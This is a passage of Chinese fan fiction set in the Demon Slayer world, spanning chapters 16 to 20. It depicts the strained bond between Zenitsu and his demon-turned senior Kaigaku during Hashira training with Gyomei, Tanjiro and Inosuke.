是狯岳受不了他一直哭,把他带进自己的房间,一边骂他娇气,一边帮着他把水泡挑开,把脓液挤出来。然后看他手抖得捏不住针,又吐出一口气,认命了似的帮他把所有水泡都处理完,再好好上药。
这过程中,狯岳并没有故意弄痛他。他做什么都很认真,连包扎伤口这种事也是,只在最后缠完绷带后,才不轻不重地在上面拍一下,表示自己的不满。
他又想起雷雨交加的夜晚,山里比城里要安静许多,风声雨声雷声也变得可怕许多,一点也不像他往日里习惯的那样。
风仿佛要把整座房屋都刮走,雨仿佛要把一切都淹没,雷仿佛要把他的灵魂都劈散。
不敢吵醒爷爷,于是他慌不择路地逃向了狯岳,在他面前堵着嘴哭得涕泪横流。他至今仍记得狯岳那副既震惊又困惑的表情——这样的家伙凭什么被老师看中,特意带来山上?
一定是老师看走眼了吧!
出于那点微不足道的怜悯心和随之而来的优越感,那天晚上狯岳同意了他的靠近。他得以钻进狯岳温暖的被窝,鼻间全是狯岳的味道。那是种草木般生机勃勃的味道,夹杂着一股桃子成熟的清香。
接着他抱住狯岳的腰,把脑袋塞进他的胸口,用他的心跳来抵御那些让他害怕的声音。狯岳显然不习惯这么亲密的动作,一开始有些慌乱,但既然推不开,也就随他去了,毕竟时间实在太晚,而第二天还要早起训练。
因为所以,我妻善逸的目光会落在狯岳身上,是理所当然的事情。
他看见狯岳专注的脸庞,俊秀的眉眼舒展开来,漂亮得像雏人形一样;他看见狯岳挺直的脊背,凛然的身姿优美灵动,像一把刀……不,更像一张绷紧的强弓。
那一瞬,他是他对未来的全部渴望。
狯岳的作为让我妻善逸看到了希望,或许随着时间过去,狯岳的态度会进一步软化,他们会成为真正的一家人……
直到他学会一之型,一切忽然急转直下。
表面上,狯岳并没有任何改变。他一如既往地训练、休息、完成家务,但他的心无时无刻不传来漏风的声音,听得我妻善逸又委屈又难过。
他不是故意的呀!
上天把本该独属狯岳的天赋拆成两部分,一部分给了狯岳,一部分给了自己。或许掌管天赋的神是个恶趣味的变态,就想看他们师兄弟互相争斗。
但他一点也不想和狯岳争,他只想当爷爷的孙子、大哥的弟弟,鸣柱的继子这种身份,全给大哥都行。
可对于狯岳来说,一日学不会一之型,就一日无法面对我妻善逸。
我妻善逸:就不能当他是个承载一之型的挂件吗?!
正因为他有天赋,所以他学会了一之型,无可奈何地给狯岳添堵;可若他没有天赋,他不会被爷爷带上桃山,两个人连相遇都不可能。
这是个解决不了的悖论。
“这样啊。”悲鸣屿行冥低下头,“桃山上的狯岳,是个勤奋的好孩子。”
“是的。比起我,大哥更让爷爷满意。爷爷总让我拿他当榜样。”
“即使他变成了鬼?”
“……”
这
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就不好说了。
爷爷切腹未遂这件事,他是从啾太郎带来的信上知道的,当即被吓得要跑回桃山看情况。
可信的末尾附上了爷爷的亲笔,他措辞严厉地要求他珍惜柱训练的机会,不要半途而废,更重要的是,要替爷爷看好狯岳。
爷爷的态度,是庆幸,还是懊悔,从这样的信件中,根本看不出来。
而狯岳的鎹鸦死了,被上弦一起手就干掉。狯岳不给爷爷写信,爷爷也不给狯岳写信。
到底是千言万语说不尽,还是事到如今无话可说?
又或者仅仅是,不知道该怎么面对而已。
反正他不想去做那个戳破一切的人,就只有先放置一边,等以后再说。
他相信,只要等狯岳以鬼的身份立下功绩,一切问题,都将不成问题。
所以我妻善逸昂首挺胸,理直气壮:
“现在的大哥也是我的榜样!”
——但榜样本人并不想当这个榜样。
为了迅速恢复粉碎性骨折而变成小孩子模样的狯岳,看着被悲鸣屿行冥带来的我妻善逸,露出了不加掩饰的嫌弃表情。
他本不想和悲鸣屿行冥继续待在一起。
但在看到我妻善逸的时候,又觉得,悲鸣屿行冥也不是不行。
而且,“你又惹事?!”他一眼就看出来,我妻善逸和人打了架,“不会又是顶撞上级队士吧?!”
我妻善逸瞪大眼睛:“大哥你这模样也太凄惨了吧?!”
然后两个人又同时回答对方的问题:
“我这是认真训练!”
“都怪他们说大哥坏话!”
狯岳的眉毛拧成一团:“早说了和你没关系,不要管我的事!”
“怎么可能不管,你是我大哥啊——你没事吧?看起来流了好多血!”
“我是鬼,这种程度而已——而且我是你师兄,不是你大哥!我都变成鬼了,雷之呼吸只剩下你,你有没有雷之呼吸继承人的自觉啊?!不要把老师剩下那点脸全都丢光了!”
“哈啊?!我才不是什么雷之呼吸的继承人,大哥你才是啊!你现在也是啊!变成鬼算什么丢脸,如果你觉得丢脸,也不能怪我嘛!反正我丢脸也不差这一次了!”
悲鸣屿行冥:……
悲鸣屿行冥:好吵啊。
“冷静,狯岳。”他准确地按上暴怒的狯岳的脑袋,“你们……是兄弟,是一家人,要好好相处。”
他能听出我妻善逸的真诚,相信我妻善逸对狯岳抱有真挚的情感。
于是他自然而然地认为,狯岳多少也会有所回应,不然,如此仰慕狯岳的我妻善逸,不就显得太一厢情愿了吗?
这小子训练的时候叫苦叫累,意志不坚,看着也不像那种会自找苦吃的人。
万万没想到,这样温情脉脉的话,居然能让狯岳的怒火更上一层楼:
“开什么玩笑,什么一家人?!我才不要陪这个废物玩过家家!”
话音落下,悲鸣屿行冥把狯岳的脑袋按进了地板。
17. 第十七章
我妻善逸:⊙口⊙!!!
原本的愤怒和伤心全部转化成了担心:“大哥?!悲鸣屿先生,大哥他一定不是在说真心话!”
他扑上前,把狯岳从悲鸣屿行冥松动的手下挖出来,抱在怀里。
因为又一次遭到重创,狯岳的身形又缩小了一点,如果说刚才看起来有7、8岁,这次看起来只有5、6岁了。
“南无……阿弥陀佛。”悲鸣屿行冥试图平复自己的情绪。“狯岳,为什么要对善逸恶语相向?”
“因为我是个人渣啊。”狯岳咳嗽几声,吐出一块碎裂的内脏,“你不是早就知道了吗?”
“啊啊啊啊啊,大哥你别说话!”我妻善逸试图用自己的声音掩盖狯岳的回答,情急之下,把手指插进了狯岳的喉咙。“对不起大哥,对不起,都是我的错!所以你不要这样好不好!”
狯岳:^=口=^。
他勃然大怒,但没多少力气反抗:“呜呜呜呜呜!”
我妻善逸一边向狯岳道歉,一边试图让他闭嘴,一边试图安抚他的情绪,简直焦头烂额。
悲鸣屿行冥看着手忙脚乱的我妻善逸,问道:
“为什么你要道歉?”
“因为……因为是我非要大哥当我大哥的!”我妻善逸的脑子从没像现在这样迅速运转过,“大哥……大哥有自己的喜好,没有非得……非得把我当成弟弟的义务,就……就像,女孩子不是非得……非得接受我的求婚,一样。”
悲鸣屿行冥张了张口,欲言又止。
这倒是理所应当。
但是,只是结为异姓兄弟而已,又不是结婚,一个人,真的能对另一个人的示好,如此不管不顾吗?
狯岳:当然能!
嘴被堵而被迫支支吾吾的狯岳安静下来,难得给了我妻善逸一个赞赏的眼神:你居然知道这个道理啊!
可我妻善逸把自己说伤心了,把手指从狯岳的嘴里抽出来,捧着他的后脑往自己的脸上贴,眼泪哗哗往下掉:“呜呜呜,大哥,我知道你和那些骗我钱的女孩子不一样,喜欢就是喜欢、讨厌就是讨厌,不会想骗我钱所以不会说谎话哄我……可如果大哥你也想骗我的钱就好了……我情愿被你骗……”
狯岳胃里一阵翻滚,原本发白的脸开始发青,伸手推我妻善逸的脸:“我的钱够用了!我才不需要骗你的钱!”
“但是,但是,我担心你啊!连我这样的人都交到了朋友,大哥却还是独来独往,遇到刚才那种事,都没人帮你说句话。虽然看上去很帅气,可人都是会寂寞的吧?”
“那也不关你的事!你不是已经交到了朋友吗?把你多余的精力全部放在他们身上就可以了!离我远点!”
“……”
“……”
我妻善逸:^=皿=^。
固执到这份上,除了狯岳,也没谁了,连他也忍不住想生气。
不过,这时候的我妻善逸,其实疑惑多过气愤:
这家伙,到底为什么这么油盐不进,心脏是石头做得吗?
老实讲,这过于决绝的抗拒,不但没有打消他的好奇心,反而还激起了他的逆反心理。
于是他收起眼泪,语气一变:“不要!”
“你这混账!”狯岳咬牙,“刚才是在装哭吧!”
我妻善逸眼神游移:“我只是泪腺比较发达……反正我现在是你的监护人,不可能远离你。”
“……”
“所以,就算你再讨厌我,也不可能甩开我。”他斜眼看他,幽幽道,“大哥,你接受不了我没关系,你得习惯我。”
——为什么、为什么,非得这么纠缠不休不可!
连悲鸣屿行冥这个看不见的人,都能从狯岳那剧烈的喘息中读到了他想说、又气到脑袋发晕,以至于说不出口的话。
“南无阿弥陀佛。”悲鸣屿行冥拨动念珠,“狯岳,你为什么这么讨厌善逸?”
狯岳:关你什么事啊!
但还是努力平缓心情,咬着牙开口:“因为我气量狭小,嫉妒他会我不会的一之型。”
“不只是这样吧?!”我妻善逸反驳,“嫉妒的份量只有一点点,是更复杂的、我完全听不懂的——”
“你这混蛋,别随便听我心声!”狯岳伸手揪我妻善逸的耳朵,“偷窥狂!变态!”
“我这是天生的又不是故意的!”
“那你装没听见啊!”
“听见了就是听见了,怎么可能装没听见!”
“你不是很会装吗?!在老师面前装成弱小的样子,一惊一乍,哭哭啼啼,浪费老师的时间!”
“可我本来就很弱小!才不是装的!”
“呵呵,我管你装不装!算了,赶紧给我变回以前的样子。”
“以前?什么样子?”
“那副畏畏缩缩一句话都不敢多说的样子。”
“……我那个时候是不想惹你生气,但现在……都这样了。”
潜台词:事情发展到了这地步,会不会惹狯岳生气已经不是重点了。
狯岳:^=_=^。
他张口结舌,与我妻善逸面面相觑,一时间,两个人不知道该说些什么好。
沉默片刻,狯岳率先把脑袋转开,不再看我妻善逸,但我妻善逸垂下眼帘,不顾他的挣扎,把他抱得更紧了。
悲鸣屿行冥叹了一口气:“狯岳,不管你为什么讨厌善逸,你都应该珍惜善逸的心意。”
狯岳抬眼看着悲鸣屿行冥,忽然,冷笑一声。
“心意这种东西,是很容易改变的,完全靠不住。”他的盯着悲鸣屿行冥那双白色的眼睛,“人不可能靠那种虚无缥缈的东西活下去。一点用都没有。”
我妻善逸鼓起腮帮子:“怎么会没用呢!我现在的确是真心实意想要——”
“那是因为,你不知道我是个什么样的人。”狯岳打断他的话,把视线挪回来,投到他的脸上:“如果你知道,你绝对会后悔。”
“我才不会后悔!”
“……真蠢。不止是你,连那个老头子都会后悔的。”
我妻善逸过了一会儿才反应过来,狯岳居然用“老头子”这三个字来称呼爷爷!
悲鸣屿行冥皱起眉头:“狯岳!”
“一开始不是说过了吗,我是个人渣啊。”狯岳没有理他,上下打量我妻善逸,“这个傻小子之所以会说出这种话,是因为他不知道我到底有多
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烂。”
他顿了顿,表情也好、语气也好,都诡异极了:
“这一点,行冥老师,你最清楚了,不是吗?”
悲鸣屿行冥抓紧了念珠。
“这两天和我待在一起,你很不自在吧?”狯岳戳破了假象,“你可是岩柱,还是不要勉强自己比较好哦。”
我妻善逸:“……”
我妻善逸:“???”
“大哥……你在说什么啊!”他睁大了眼睛,“什么勉强不勉强的,你在想什么危险的事情?!心声变得好可怕!”
“不不不,并不危险,我只是想要告诉你一些事而已。”狯岳竟然冲着我妻善逸笑了,眼神中透出一股孤注一掷的疯狂。“不管你以为我是什么样的人,我和你的想象都绝对不一样。你不是很好奇,我为什么会和岩柱认识吗?我现在就可以和你说,因为——”
然而,不等他把话说完。
悲鸣屿行冥出手了。
他飞快出现在两人面前,捂住了狯岳的嘴,不让他继续吐露那丑陋难堪的真相。
“别说了。”
狯岳睁大眼睛看他,但悲鸣屿行冥的眼睛看不见。他只能看见这个大和尚又开始流眼泪,泪水滴在了他的脸上。
“往事……都过去了,”悲鸣屿行冥从牙缝里挤出这句话,“活着的人,才更重要。”
然后,他慢慢把手拿开。
“不要说。至少,不要在这种场合,这么轻佻地说出来。”悲鸣屿行冥转而摸了摸狯岳的头发。“不要被过去困住了。你还有未来。”
狯岳面无表情,像小时候那样低下头,感受悲鸣屿行冥掌心的温度。
未来……
的确,死了就什么都没有了。因为他还活着,所以他还有未来。
所以他无论如何都得活下来。
所以拿其他人当垫脚石也要活下来。
当人处在底层的时候,是没有多少选择的。生存的本能构成了他的全部,尽是野蛮尽是残酷。能让他活下来的就是对,会让他死去的就是错,除此之外的思考都是多余。是吃饱了撑的产物。
所以即便再来一百遍,他也会做出同样的选择。没有后悔的余地。
所以那些死去的孩子们,哭着喊着不情不愿地用他们的未来,做了他生命的燃料。
所以悲鸣屿行冥是不会原谅他的,他只是饶过了他。何况,就算悲鸣屿行冥饶过他,死去的孩子们也不会放过他,他也不需要他们的放过,他们也不需要他的忏悔,他也绝对不会因此忏悔。不管他怎么想,不管旁人怎么想,事实摆在那里,过去不会磨灭,污点不会消失,他做不了清廉洁白的好人。人生从一开始就走偏,回不了头也改不了道,一切已经钉死在了那个可怕的夜晚。他的生命早早套上了厚重的枷锁,不管得到什么都无法挣脱开来。
注定要下地狱的他,怎么可能和我妻善逸这样得天独厚的人嘻嘻哈哈。
然而,“和善逸回去休息吧。”悲鸣屿行冥吩咐。“明天再继续训练。”
不能接受怎样,不断拒绝又怎样?
他到底,还是被迫和我妻善逸绑在了一起。
这该死的命运,真踏马恶心人。
18. 第十八章
狯岳疲惫地闭上双眼,在我妻善逸晃动的怀抱里沉沉睡去。
“……睡着了。”
我妻善逸吃了一惊,停下脚步,微微睁大眼睛。
鬼是不需要睡眠的,这段时间以来,狯岳一直精神奕奕,在夜间尤甚,仿佛一只昼不伏夜照出的猫。
话又说回来了。
睡着的狯岳,和平时的他,完全不一样!
我妻善逸以前就知道,当他睡着的时候,那双总是拧着的眉就会舒展开来,那张冷酷的脸也会变得平静无防备,不再拒人千里之外。
更何况,现在的他,还保持着小孩子的模样,又小又软,白皙的皮肤就着脸上的鬼纹,还真像一只黑白花色的猫。
好乖、好可爱!
我妻善逸看了一会儿,心花怒放,小心翼翼地伸手摸了摸狯岳的脸。
有点凉。
方才不知哪里去了的狐狸不知从哪里冒了出来:“哟。”
“嘘!”我妻善逸把食指放到唇边,压低音量,“小声点!”
狐狸:“……”
狐狸:“我的声音很小,是你的耳朵太灵敏。”
“……反正你记住小声就行。”
狐狸:^=_=^。
然后就见我妻善逸像发现了新大陆一样,对狯岳这里戳戳那里摸摸,还低下头闻了闻他脸上的味道——那应该满是血腥味才对吧!
……说不定还有点脑浆的味道骨髓的味道,总之肯定不太好闻。
“善逸……你,”狐狸毛都炸了,“你变态啊?!”
我妻善逸:→_→。
我妻善逸:“才、才不是变态!只是大哥这个样子真的很少见……没想到,小时候的大哥这么可爱,嘿嘿。”
狐狸却说:“你大哥小时候绝对没有这么可爱。”
“啊?”
“他现在只是模样是小孩子,骨骼和肌肉都很健康,所以显得非常可爱。但小时候的他,可是个饥一顿、饱一顿的流浪儿。面如菜色、皮包骨头的小萝卜头,能可爱到哪里去?”
话音落下,我妻善逸愣了愣:
“大哥小时候,也是流浪儿吗?”
“咦,你不知道?”
“……我只知道大哥和我一样没有父母。可大哥不是为了出人头地,才上桃山接受训练的吗?”
“……”
“……”
“你该不会还以为,他是什么大户人家的小少爷吧?!”
“啊,那倒不会,毕竟大哥没有姓。”
以前的平民都没有姓,姓是只有家学渊源的士族才能拥有的东西。
虽然政府颁布了苗字必称令,但需要严格遵守法令的也只有登录了户籍的老实人。
不是所有人都愿意配合人口统计,有相当一部分人不打算随便给自己取个姓,就这么糊里糊涂地继续生活。
“但他有勾玉吔,对爷爷也尊敬多过亲近,我以为,我以为,他那副讨厌的样子是被家里人捧出来的,所以才会对看不上眼的……我,这么不屑一顾。”
搞了半天,他们俩其实是一样的吗?
那为什么,狯岳始终无法理解他的心情?
明明有着相似的过去,一无所有的他们,应该相依为命才对吧!
此外,他也很在意狯岳没能说出口的那件事,但想来不是什么好事,不然悲鸣屿行冥不会那样阻止。
想到这里,我妻善逸忍不住叹了一口气:“大哥小时候,一定很辛苦。”
狐狸眯起眼睛:“你有斯德哥尔摩综合症吗?”
“啥玩意?”
“被人粗暴对待反而会自我攻略的类型。”
“……怎么想都不可能吧!”
“那就是单纯的好心?心地善良?”狐狸歪了歪头,“我看你也不像是喜欢做无用功的那种人啊。”
“梨花,你想说什么?”
“狯岳都拒绝地这么激烈了,你还在坚持什么呢?要知道,你想要的,不一定是狯岳想要的。”
兄弟不合到这个地步,狐狸认为,还是应该先多给一点时间,多缓冲一下比较好。
然而我妻善逸眨巴着眼睛:
“我管大哥想要什么干嘛?”
“……”
“……”
狐狸傻乎乎地张大嘴巴:
“……啥?”
“大哥到底在想什么,我根本搞不懂。我只知道他不喜欢这个、不喜欢那个,完全是在做排除法。”我妻善逸抱怨,“到现在,我也懒得搞懂他了。我反正只管我想要什么不就行了吗?”
啊,这。
狐狸惊讶地踩着爪子,不知道该说什么好。
“大哥都不在乎我的感受,我干嘛要在乎他的感受,何况,他现在落在了我手里。”我妻善逸捂着狯岳的耳朵,没忍住,又摸了一把他的耳朵尖。“就算明天会被他打死,今天也要过把瘾——我现在就是这么想的。”
“……彻底放飞自我了啊。你不怕他了吗?”
“我本来就不怕他啊。”
“……”
“……”
“真的假的?再说一遍?”
“我本来就不怕他,我只是怕他生气——这两件事是有本质区别的好么。”
“……有点道理。”
“现在看来,惹大哥生气也没什么,他也不会拿我怎么样。”
“……那是因为你目前为止的行动也没有太过分。”
“如果我再过分一点,大哥也会容忍我的吧,毕竟他变成鬼了吔,是他理亏。”
“……”
“……”
这居然也是我妻善逸?!
狐狸才是发现了新大陆:“原来你是这么得寸进尺的人吗?!”
“这、这是合理试探!”我妻善逸心虚地说。“何况,大哥恶心了我这么久,我恶心一下他怎么了!”
狐狸欲言又止,止言又欲:“你高兴就好。”
我妻善逸还真就高高兴兴地抱着狯岳去了悲鸣屿行冥给他们准备的房间,还拜托灶门炭治郎帮忙烧了热水,哼着歌儿用毛巾把脏兮兮的小猫崽一点点擦干净,再塞到干燥清爽的被褥里。
于是,等狯岳醒过来,睁眼就是我妻善逸那张蠢兮兮的脸。
原本平静的表情立刻拉了下来,浑浑噩噩的脑袋也一下子变清醒。他试图离开被窝,但我妻善逸一只手揽着他的脑袋,另一只手揽着他的腰,箍得他动弹不得。
这小子,当他抱枕吗?!
但并不是毫无心理
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准备,毕竟我妻善逸睡觉的时候一向不老实,尤其是冬天,还能梦游,睡着睡着就跟个八爪鱼似的缠上来。桃山下的医生说,梦游的人不能被吵醒,狯岳只好不动声色地扒他,都扒出心得了。
本以为再也用不上的心得,居然还有被重新利用起来的一天,这个无奈的现实令狯岳胃里一阵扭曲。
“我还以为,你会把他一脚踹开呢。”看着好不容易钻出来的狯岳,狐狸评价道:“看来,你也没你说得那样讨厌他嘛。”
狯岳翻了个白眼:“我只是不想惹麻烦。”
说着,他从小孩子的模样恢复成了少年模样。
狐狸仰起头看他:“虽然这样很帅,但还是小一点更可爱。”
“可爱又没有用。”
“那是你不会用。只要你保持刚才那副样子,可以分分钟把善逸骗得团团转,让他为你赴汤蹈火、上天入地在所不辞……”
话音未落,狯岳的脸也扭曲了。
狐狸:→_→。
狐狸:“我只是打个比方,你不用这么嫌弃。”
“他人的怜爱是靠不住的。”尤其还是我妻善逸这个废物的怜爱,狯岳拼尽全力把注意力从“善逸”这两个字上拿走:“只有自身的强大才有意义。”
“个人的强大也是有限度的。”
“总比弱小有用。”
“我的意思是,和他人建立联系,把他人的力量收编为自己的力量,比一个人单打独斗更加强大。毕竟,连鬼王都创造了十二鬼月为他卖命,不是吗?”
“……”
“……”
“梨花。”
“在。”
“你是打算做那个废物的说客吗?”狯岳神情严肃,“你为什么会有这种想法?”
“倒不一定非得是善逸,只不过,除了他,你有其他说得上话的同伴、不、同行者吗?”
当然没有。
狯岳一路走来,全靠自己,绷着脸吓退了所有潜在同伴。
他加入鬼杀队是来杀鬼的,不是来交朋友的。鬼杀队的晋升方法很简单,他只要取得足够的战绩就能升职,没必要浪费时间和人搞好关系。
所以:
“除了他,我没有别的选择——你是想这么说吗?”
“差不多吧,毕竟我只是个狐狸,不能握刀,帮不了你的忙。”
“……也没指望你能帮忙。”狯岳看着狐狸:“很多时候,我都没有选择的余地。出身无法选择。天赋无法选择。同门无法选择。”甚至连眼前这只狐狸,也不是他的选择。“当我好不容易从生死线上挣扎出来,却连拒绝一个人的权利都没有吗?”
他活到现在,能控制的东西,实在太少太少。
除了随着努力锻炼而不断增长的实力之外,就只有自己的情感了。
狐狸沉默片刻,猛地跳到他的脸上:“对不起嘛~你想怎么样就怎么样吧。”
这还差不多。
狯岳把狐狸从脸上扒下来,抱在怀里,走出房间。
天还没有亮,然而鸟雀已经开始行动,一些勤奋的队士也早起洗漱。这些队士有的认识他,有的不认识。有的人会用奇怪的眼神看他,但更多人只专注自身,忙着训练。
新的一天,已经开始了。
19. 第十九章
空旷的地面上有一块巨大的岩石,岩石的边上是正在深呼吸的灶门炭治郎。
他把双手放在岩石上,拼尽全身力气——
一动不动。
狯岳看了一会儿,正打算转身离开,就听到“咚”得一声。
那孩子正把头往石头上磕呢。
狯岳:^=_=^。
然后灶门炭治郎才注意到边上的狯岳,整张脸迅速涨得通红:“刚才那是、那是意外!才不是发脾气!”
狯岳:“……”
狯岳:“无所谓,和我没关系。”
“没关系就好——我是说,”灶门炭治郎努力转移话题,“早上好,狯岳先生,梨花。”
狯岳眨了眨眼睛,而狐狸摇了摇尾巴:“早上好,炭治郎!”
“狯岳先生也是来练习推岩石的吗?”
“不,我不需要,”狯岳摇了摇头,“雷之呼吸对腰腿的力量要求很高,我以前做过类似的训练。”
更别说他还变成了鬼,力气变大,一般人的标准已经不适合他了。
闻言,灶门炭治郎举手:“那善逸怎么一副要死了的样子?”
狯岳:“……”
狯岳:“懒死的样子吧。”
灶门炭治郎:啊哈哈。
灶门炭治郎:“狯岳先生,还是一如既往地讨厌善逸啊。”
狯岳挑起眉毛:“怎么,你要替他打抱不平?”
“虽然希望你们能好好相处,但我不了解情况,不好胡乱发表意见。”灶门炭治郎挠了挠脸,“何况,善逸也没有求助的意思。”
那他还是别多管闲事比较好。
狯岳低下头,意味深长地盯着狐狸:
看看人家,再看看你!
狐狸假装不知道他是什么意思,帮灶门炭治郎问:“那,狯岳有没有什么推石头的诀窍?”
灶门炭治郎的眼睛一下子亮了,目光炯炯地看着狯岳:“对对,狯岳先生能不能帮帮我?虽然玄弥告诉我要做重复动作,可我老是重复失败。”
狯岳:“……”
狯岳:“…………”
但灶门炭治郎那种非他不可的眼神看得他很受用,所以他还是张开口:“让石头动起来的第一下,需要的力气最大。等石头动起来之后会顺利很多。你必须全身上下,同时爆发式用力才行。”
说着,狯岳把狐狸放到灶门炭治郎的头顶,双手触及岩石,调整姿势,深吸一口气,用力——
石头动了。
……比预计的轻松一些。
是因为变成了鬼,基础力量大了很多的缘故吧。
狯岳看着自己苍白的手掌,不高兴地拉下嘴角。
“……好厉害,”灶门炭治郎看着石头在地上的划痕,“不愧是甲级……狯岳先生,你一定可以成为鸣柱!”
话音落下,狯岳心头火起,毫不掩饰地“啧”了一声。
果然物以类聚,能和我妻善逸交好的,都是些只会说漂亮话的白痴。
一只鬼,怎么可能成为鸣柱?!
闻出狯岳生气了的灶门炭治郎百思不得其解:为什么?!
就在此时,嘴平尹之助大喊着“猪突猛进”冲了过来,直直撞向狯岳,然后被后者眼疾手快,一把按住脑壳。
“你就是门逸的大哥吧!跟我打一架!”野猪脑袋大声嚷嚷,“让我们决一胜负!”
灶门炭治郎捧着脸无声尖叫:狯岳先生怎么更生气了,为什么?!
虽然不知道“门逸”是什么鬼,但狯岳能明白嘴平尹之助在说什么。反正这绝对又是我妻善逸给他惹来的麻烦没错了。
即便这个麻烦也很好解决……也是麻烦。
他侧过身,让开一步,然后准确地捉住嘴平尹之助挥舞的手腕,顺着他的袭击方向,一提、一甩。
下一刻,嘴平尹之助面朝下,重重摔在了地上。野猪头套随之飞了出去,露出那张和发达的肌肉一点也不搭的漂亮脸庞。
接着,那张漂亮脸庞挂上了一点也不搭的凶悍表情:“刚才是我大意了!再来!”
狯岳被嘴平尹之助的脸吓了一跳,罕见地愣了一下,于是没能躲开我妻善逸的飞扑:
“天快亮了大哥你怎么在外面乱晃被太阳晒成灰的话我怎么办我怎么向爷爷交待啊啊啊啊啊啊——”
出现了,熟悉的肮脏男高音。
狯岳的心情跌至谷底:“不要管我!这种事不用你来提醒!这里到处都是树,随便找块树荫躲着就行了!”
“树荫之间会有缝隙的好么,碰到了就会受伤的!”
“只要不会死怎样都无所谓!走开啦!”
嘴平尹之助歪了歪头,指着他俩问灶门炭治郎:“门逸怎么□□的队?他们怎么还不打起来?”
灶门炭治郎挠脸:“善逸不是要和狯岳先生打架,他们只是……只是在纠缠而已。”
我妻善逸越靠近,狯岳就越回避。
他一看到我妻善逸就生气,已经到了条件反射的地步。这家伙的声音、颜色、气味……光是存在本身,就让他感到反胃。
胃蠕动着贴近心脏。难受的感觉向上蔓延,火一样灼烧着摇摇欲坠的理性和耐性。
“……怎么可能无所谓,受伤还是会痛的吧!我问过忍小姐,鬼和人有很多不同的地方但相同的地方更多,所以——”
“你就没有别的事情可以做吗?!”狯岳的语气变得非常危险,“那我谢谢你的关心,这样可以了吗?可以放开我了吗?”
我妻善逸僵住了,手下意识松开:“……大、大哥?”
“你就是喜欢听人说漂亮话哄你开心,对吧?”狯岳扯起嘴角,“我知道你想听我说什么。虽然你是个一无是处的废物,但是没关系,不要紧,只要你在就好了,行了吧?”
当然不行啊!
我妻善逸呆呆地看着狯岳,整个人都微微发抖。
“你怎么那副表情,还不够吗,好好好——”
但灶门炭治郎赶上前,一脑门撞向狯岳的脑袋:“狯岳先生对不起但你还是别说了!”
嘴平尹之助也对狯岳怒目而视:“你这家伙,讲话怪里怪气,听着就讨厌!门逸才不是废物!”
狯岳:呵呵。
他一脸“不出所料”的表情,抬手摸了摸自己毫发无损的脑袋:“那你倒是叫对那家伙的名字啊。”
嘴平尹之助歪了歪头:“错了吗?没错吧!”
“……那不是重点!”灶门炭治郎把嘴平尹之助按下,“重点是,善逸不是废物!你不能这么说他!他虽然胆子小,但是人很好很善良,关键的时候还非常可靠!”
我妻善逸眼泪汪汪地看着他:谢谢,炭治郎!
但狯岳一手叉腰,一手用拇指倒着点了点我妻善逸:“难道这家伙没有抱着你的大腿哭着求你别放他一个人战斗吗?”
灶门炭治郎张口结舌,我妻善逸……我妻善逸他把自己藏在了灶门炭治郎身后。
没办法,他的确做过这样的事。
灶门炭治郎:“……只、只有一开始,而且善逸现在也变得很强了!虽然可能没有狯岳先生这么强,但他已经很努力了!”
我妻善逸抓着灶门炭治郎的肩膀连连点头:就是就是!
然而,狯岳冷冷道:“努力是最基本的吧?难道是可以拿出来夸耀的事情?”
话音落下,灶门炭治郎一时语塞。
“你
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的努力,我看到了。”狯岳继续。“那家伙,只能说是没有偷懒吧。不过,对他来说,那的确算是努力了——努力达到一般人努力的标准。”
我妻善逸小声反驳:“……可,可是,我、我真的有在努力呀!”
“那你就不要叫苦叫累,整天哭哭啼啼,烦死了!”
灶门炭治郎隐约察觉到了,狯岳为什么会这么讨厌我妻善逸,或者说,是原因之一:
狯岳讨厌善逸消极逃避的态度。
灶门炭治郎张了张口:“……只是嘴上说说而已。”
“什么?”
“善逸,善逸只是嘴上说说而已啊,遇到事他是真上啊!”灶门炭治郎为我妻善逸辩护,“你能在这个时间碰上他,不正是因为,他和我一样,也在天没亮的时候就起床训练吗?!”
……这点倒是没法反驳。
这一次,轮到狯岳无话可说。
“狯岳先生也是,明明都愿意指点我训练了,却非要摆出一副恶人脸!你嘴巴上说得那么难听,其实没有那么讨厌善逸吧?!”灶门炭治郎挥动拳头,“你只是觉得他又软弱又没用,所以从来不肯正视他而已!虽然善逸他的确又吵又闹还容易退缩……”
我妻善逸捂心口:炭治郎,的确是站在他这边的,对吧?!
“……但现在的他,已经和以前的他不一样——不,是一样的,”灶门炭治郎深吸一口气,“善逸一直是这样的,他很有原则,也很有能力,只是在加入鬼杀队之前,在比他更有能力的你面前,什么都展现不出来,所以他在狯岳先生的心目中才一直是个……没什么用的废物。但现在情况不一样,真的不一样!善逸已经接连和下弦、上弦的鬼战斗过了——”
狯岳耐心听了一会儿,眼看灶门炭治郎一副滔滔不绝的架势,皱起眉头,打断他的话:
“那又怎样?”
“什么?”
“你说这么多,是想表达这小子有进步吧。”狯岳翻了个白眼。“但有进步又怎样,还不是连训练都无法完成,这么大的岩石,你都无法推动,更别说他——”
“能推动的!就算我推不动,善逸都一定能推动的!绝对!”
我妻善逸:……
我妻善逸:???
“虽然我很想推动这么大的岩石也一直在练习推动这么大的岩石,但是,但是,”他手舞足蹈,“我没有柱的实力,我我我,我做不到的!”
“一定没问题的!你一定能做到,我相信你,你有这个实力!”
“唉?!”
“我们打赌!如果善逸能推动岩石,狯岳先生你就,你就,你就……”
狯岳挑起眉毛:“我就什么?”
“你就,你就不能拒绝善逸叫你大哥!”
“……”
“……”
我妻善逸暴起,揪着灶门炭治郎的脖子猛摇:“我要想办法推动那么大的岩石,那必须得拼死努力才行。我都拼死努力了,得到的报酬居然只有一个我本就应得的称呼而已吗?!”
灶门炭治郎摇回去:“那你自己跟狯岳先生讨价还价啊!”
“我不敢!”
灶门炭治郎:那你说个毛啊!
我妻善逸:他不管!
他只顾着摇晃灶门炭治郎,因为狯岳绝对不会容忍他这么摇晃他。他不想听他对他说难听的话、露出鄙夷的表情。
真讨厌啊,搞了半天,他和狯岳的关系,还是一点进步也没有。
炭治郎也实在异想天开,大哥根本不可能答应这种事情,这对他毫无意义——
但是,“好啊。”
我妻善逸听见狯岳轻笑一声。
“如果这废物做得到的话。”
20. 第二十章
……笑了。
那个狯岳,居然笑了?!
我妻善逸猛地回过头,想要捕捉那稍纵即逝的笑意,但对上的只有狯岳的后脑勺。
“大哥,你刚才笑了?!”
狯岳:“……”
狯岳:“推你的石头去。还有别叫我大哥。”
“……你之前不都默认了吗,只有在生气的时候才会不许我这么叫你——啊,等等!太阳出来了!起码披件羽织挡着啊!”
看着两人一前一后离去的背影,嘴平尹之助愣了愣,用手肘拱了拱灶门炭治郎:“刚才的感觉,好奇怪!是怎么回事啊?”
灶门炭治郎摸了摸鼻子:“可能是因为,他们两个,都不生气了吧?”
